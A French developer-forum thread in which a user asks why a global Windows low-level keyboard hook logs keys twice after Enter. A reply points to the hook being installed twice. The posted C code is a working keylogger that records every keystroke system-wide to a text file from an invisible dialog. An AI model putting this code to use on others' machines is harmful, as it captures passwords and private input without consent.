IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Windows Discussion :

Problème de hook clavier: touche entrée = multiples occurences


Sujet :

Windows

  1. #1
    Nouveau Candidat au Club
    Profil pro
    Inscrit en
    avril 2008
    Messages
    1
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : avril 2008
    Messages : 1
    Points : 1
    Points
    1
    Par défaut Problème de hook clavier: touche entrée = multiples occurences
    Bonjour,

    Je cherche à faire un hook clavier global et ça fonctionne, mais j'ai un problème: l'appui de la touche entrée à un moment de la capture provoque le fait que toutes les lettres suivantes sont capturées en double, au moins jusqu'au prochain appui sur la touche entrée. Je ne comprends pas du tout pourquoi. Voici mon code:

    Code c : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    // Ce code  fonctionne sur Windows 2000, XP, ou NT4 SP3 et supérieur
    #define _WIN32_WINNT 0x0400
     
    #include <windows.h>
    #include <string.h>
    #include <stdio.h>
     
    //------------------------------------------------------------------------------
    // Variables Globales
    //------------------------------------------------------------------------------
     
        HHOOK   HKEYBOARD;                      // Hook Clavier
        HINSTANCE HInst;                        // Handle d'intance de la DLL
        char    LastWindowText[256];            // Nom de la fenêtre actuelle
        char    FILENAME[] = "FichierLog.txt";     // Chemin du log
        HHOOK hHook;    // Handle du hook global
        HINSTANCE hExe; // Handle de notre exécutable
     
     
    // Fonction de gestion du hook 
    __declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode,  WPARAM wParam,  LPARAM lParam) 
    {
     
        if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
    	{
            // Structure de récupération d'infos sur la touche tapée
            KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
     
            // Obtenir la lettre de la touche tapée 
    		char lettre=(char)hookstruct.vkCode;
     
            // Compteur des octets écrits pour WriteFile()
            DWORD Ecrits;
     
    		// Ouverture du fichier log. Le créer s'il n'existe pas.
    		HANDLE	hFichier = CreateFile(FILENAME, GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
     
    		// Si le handle retourné est valide alors
    		if( hFichier != INVALID_HANDLE_VALUE)
    		{ 
     
     
              // Mettre le pointeur du fichier à la fin
    		  SetFilePointer(hFichier,NULL,NULL,FILE_END);
     
     
              // Ecrire la lettre dans le fihier log
    	      WriteFile(hFichier,&lettre,1,&Ecrits,NULL);                                       
     
    		    // Fermer le fichier
    	        CloseHandle(hFichier);
            }
       }
       // Renvoi des messages au sytème pour permettre d'autres hooks
       return CallNextHookEx(hHook, nCode, wParam, lParam);
     
    }
     
     
    //Fonction de la boite de dialogue
    BOOL CALLBACK  MainDlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam )
    {
        static HWND hBouton;//Handle du bouton
    	static int etat;// Flag d'état du hook
     
    	switch( msg )
    	{   
     
         case WM_CLOSE: // Clic sur la croix de fermeture
     
            // Fermeture de la boite de dialogue
            EndDialog( hDlg, TRUE );
    		return 1;
     
         case WM_INITDIALOG: //Initialisation de la boite de dialogue
     
    	    // Création du bouton Activer/Désactiver
    	   // hBouton = CreateWindow("BUTTON", "Activer le hook", WS_CHILD | WS_VISIBLE , 50, 35,140, 30, hDlg, 0, 0, 0);
     
    		// Obtenir le HANDLE de l'exécutable en cours
    		hExe = GetModuleHandle(NULL);
     
    		// Mettre le flag d'état à 0= Hook inactif
    		etat=0;
     
              // Activer le hook
    		  hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL);
     
    		// Fin d'initialisation
    		return 1;
     
         case WM_COMMAND: // Appui sur le bouton
    	    if( lParam == (long) hBouton)
    		{
    		 if (!etat)//Si hook inactif alors 
    		 {
              // Activer le hook
    		  hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL);
     
    		  //Mettre le flag d'etat à 1 (actif)
    		  etat=1;
     
    		  // Changer le texte du bouton
    		  SetWindowText(hBouton,"Désactiver le hook");
    		 }
     
    	  	else //Si hook actif alors 
    		{
             // Désactiver le hook
             UnhookWindowsHookEx(hHook);
     
             // Mettre le flag d'état à 0 (inactif)
    		 etat=0;
     
    		 // Changer le texte du bouton
             SetWindowText(hBouton,"Activer le hook");
    		}
    		break;
    	   }
     
    	}
       return 0;
    }
     
     
    //Fonction principale: Création d'une boite de dialogue sans ressources
    int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
    {
     
        // Allouer de la mem pour notre dialog template
    	LPDLGTEMPLATE lpdt = ( LPDLGTEMPLATE) GlobalAlloc(GPTR, 512); 
        if (!lpdt) return 1;
     
        // Définir les propriétés de la boite de dialogue
        lpdt->style = WS_POPUP; 
        lpdt->x  = 100;	lpdt->y  = 100;	lpdt->cx = 0; lpdt->cy = 0; 
     
     
        // Obtenir pointeur sur la zone du nom de la boite de dialogue
        LPWSTR lpnom=(LPWSTR) (lpdt+1)+2;
     
    	// Convertir le nom en UNICODE et le mettre dans la zone nom
    	//MultiByteToWideChar (CP_ACP, 0, "Hook Global Sans DLL", -1, lpnom, 128);
     
        // Lancer la boite de dialogue
    	DialogBoxIndirect(hInstance,lpdt,NULL,(DLGPROC)MainDlgProc);
     
     
    	// Libérer la mémoire allouée puis quitter
        GlobalFree((HGLOBAL) lpdt); 
        return( FALSE );
    }

  2. #2
    Membre habitué Avatar de r2d2abc
    Profil pro
    Inscrit en
    janvier 2009
    Messages
    212
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : janvier 2009
    Messages : 212
    Points : 179
    Points
    179
    Par défaut
    salut, par hasard cela ne viendrait pas du fait que tu l'installes deux fois .... ton hook wm_command/wm_initdialog ? et puis vérifies le rebond (ou l'anti appui) par un test avant d'aller plus loin (see below)
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 
    { 
     
        if (nCode < 0)  // do not process message 
          {
            return CallNextHookEx(orgkbdhook, nCode, wParam, lParam); 
          }
    
    // 8 bits=0xFF
    //16 bits=0xFFFF
    //32 bits=0xFFFFFFFF = AAA?-???B CCCC-DDDD EEEE-FFFF GGGG-HHHH
    //                             24        16        8         0
    //        0x01000000   0000-0001 0000-0000 0000-0000 0000-0000
    //        0x20000000   0010-0000 0000-0000 0000-0000 0000-0000
    //        0x40000000   0100-0000 0000-0000 0000-0000 0000-0000
    //        0x80000000   1000-0000 0000-0000 0000-0000 0000-0000
        if ( (lParam & 0x40000000) && //anti rebond (key stays pressed...)
            nCode == HC_ACTION)
        {
          ....
        }
      return CallNextHookEx(orgkbdhook, nCode, wParam,Param); 
    }
    un peu tardif comme réponse
    hope this helps

Discussions similaires

  1. [HTML]Problème avec la touche "entrée" dans un formulaire
    Par WerKa dans le forum Balisage (X)HTML et validation W3C
    Réponses: 2
    Dernier message: 12/06/2007, 21h34
  2. [clavier]Action sur touche Entrée
    Par michaeljeru dans le forum AWT/Swing
    Réponses: 7
    Dernier message: 07/03/2007, 12h55
  3. Réponses: 7
    Dernier message: 05/06/2006, 14h44
  4. bouton Ok = Touche Entrée du clavier
    Par Samanta dans le forum Agents de placement/Fenêtres
    Réponses: 3
    Dernier message: 23/08/2005, 18h10
  5. Hook Clavier et changement de touche
    Par Fly_57 dans le forum API, COM et SDKs
    Réponses: 6
    Dernier message: 09/08/2004, 20h42

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo